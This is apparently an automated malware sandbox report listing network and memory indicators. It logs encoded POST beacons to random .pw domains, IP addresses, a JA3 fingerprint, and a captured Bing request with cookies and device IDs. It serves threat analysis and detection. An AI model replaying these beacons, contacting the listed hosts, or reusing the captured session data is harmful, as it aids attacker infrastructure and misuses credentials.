Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: uyhgqunqkxnx.pwContent-Length: 157Data Raw: 81 b7 8b db b9 bf 8b db 6f e7 d5 43 87 b5 8a f8 b1 87 bb eb b1 87 bb eb Data Ascii: oC
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: vcklmnnejwxx.pwContent-Length: 157Data Raw: c0 9a d3 e5 f9 92 d3 e5 2e ca 8d 7d c6 98 d2 c6 f0 aa e3 d5 f0 aa e3 d5 Data Ascii: .}
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: cmnsgscccrej.pwContent-Length: 157Data Raw: 4f 34 bc a9 75 3c bc a9 a1 64 e2 31 49 36 bd 8a 7f 04 8c 99 7f 04 8c 99 Data Ascii: O4u<d1I6
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: evbsdqvgmpph.pwContent-Length: 157Data Raw: f4 47 54 60 cf 4f 54 60 1a 17 0a f8 f2 45 55 43 c4 77 64 50 c4 77 64 50 Data Ascii: GT`OT`EUCwdPwdP
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: mfueeimvyrsp.pwContent-Length: 157Data Raw: 52 0c 05 15 6e 04 05 15 bc 5c 5b 8d 54 0e 04 36 62 3c 35 25 62 3c 35 25 Data Ascii: Rn\[T6b<5%b<5%
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: utmyhnffxpcj.pwContent-Length: 157Data Raw: a4 50 75 f5 98 58 75 f5 4a 00 2b 6d a2 52 74 d6 94 60 45 c5 94 60 45 c5 Data Ascii: PuXuJ+mRt`E`E
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: fkmmvfeonnyh.pwContent-Length: 157Data Raw: 6d 34 3b 95 50 3c 3b 95 83 64 65 0d 6b 36 3a b6 5d 04 0b a5 5d 04 0b a5 Data Ascii: m4;P<;dek6:]]
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: gfnlmtcolrrb.pwContent-Length: 157Data Raw: 91 76 5a 68 af 7e 5a 68 7f 26 04 f0 97 74 5b 4b a1 46 6a 58 a1 46 6a 58 Data Ascii: vZh~Zh&t[KFjXFjX
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: wwgfyvvdtmeq.pwContent-Length: 157Data Raw: ec b1 0c 1d d3 b9 0c 1d 02 e1 52 85 ea b3 0d 3e dc 81 3c 2d dc 81 3c 2d Data Ascii: R><-<-
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: xtbbpqfrsubt.pwContent-Length: 157Data Raw: f3 e1 ef cd cc e9 ef cd 1d b1 b1 55 f5 e3 ee ee c3 d1 df fd c3 d1 df fd Data Ascii: U
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: vrmtybxxpddg.pwContent-Length: 157Data Raw: ea 5f bf 93 aa 57 bf 93 04 0f e1 0b ec 5d be b0 da 6f 8f a3 da 6f 8f a3 Data Ascii: _W]oo
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: fccfxejgtpqb.pwContent-Length: 157Data Raw: ad ed 2a 61 ec e5 2a 61 43 bd 74 f9 ab ef 2b 42 9d dd 1a 51 9d dd 1a 51 Data Ascii: aaCt+BQQ

Source: Joe Sandbox View

IP Address: 216.218.185.162 216.218.185.162

Source: Joe Sandbox View	ASN Name: HURRICANEUS HURRICANEUS
Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: global traffic

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A4109000CC6X-BM-CBT: 1696420817X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 60X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109000CC6X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-tX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2232Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_02F02F88 send,send,recv,closesocket,

2_2_02F02F88

Source: SearchApp.exe, 0000000B.00000000.1809980582.0000024B551F3000.00000004.00000001.00020000.00000000.sdmp

String found in binary or memory: www.google.www.yahoo. equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: spaines.pw

Source: unknown

Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3032615601.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 00000006.00000000.1717750240.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2954823993.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717816031.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2952613468.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3032615601.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: svchost.exe, 00000006.00000000.1717750240.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2954823993.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717816031.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2952613468.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: SearchApp.exe, 0000000B.00000000.1749414495.000002434119B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3032615601.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 00000006.00000000.1717750240.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2954823993.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717816031.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2952613468.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3032615601.000000000982D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717750240.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2954823993.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717816031.0000019E29FDC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2952613468.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SearchApp.exe, 0000000B.00000000.1749414495.000002434119B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: SearchApp.exe, 0000000B.00000000.1767034609.0000024B441DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: explorer.exe, 00000003.00000000.1638748938.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1636906084.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1637467440.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.2954695107.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000003.00000002.3058572833.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1640019930.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: svchost.exe, 00000005.00000002.2908871960.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714413408.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000005.00000002.2908871960.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714413408.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: explorer.exe, 00000003.00000000.1640019930.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.comt
Source: SearchApp.exe, 0000000B.00000000.1749414495.000002434119B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1761686627.0000024B4239F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000003.00000000.1634654042.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2936439157.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1635196527.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2901515644.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000003.00000002.3032615601.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000003.00000002.3032615601.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.comer
Source: svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.coms
Source: explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000002.2938509388.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717384345.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-GB
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comcp
Source: SearchApp.exe, 0000000B.00000000.1803975206.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fb.me/react-polyfills
Source: SearchApp.exe, 0000000B.00000000.1780439279.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://fb.me/react-polyfillsThis
Source: svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
Source: SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://graph.windows.net/
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823827959.0000024B55CEE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
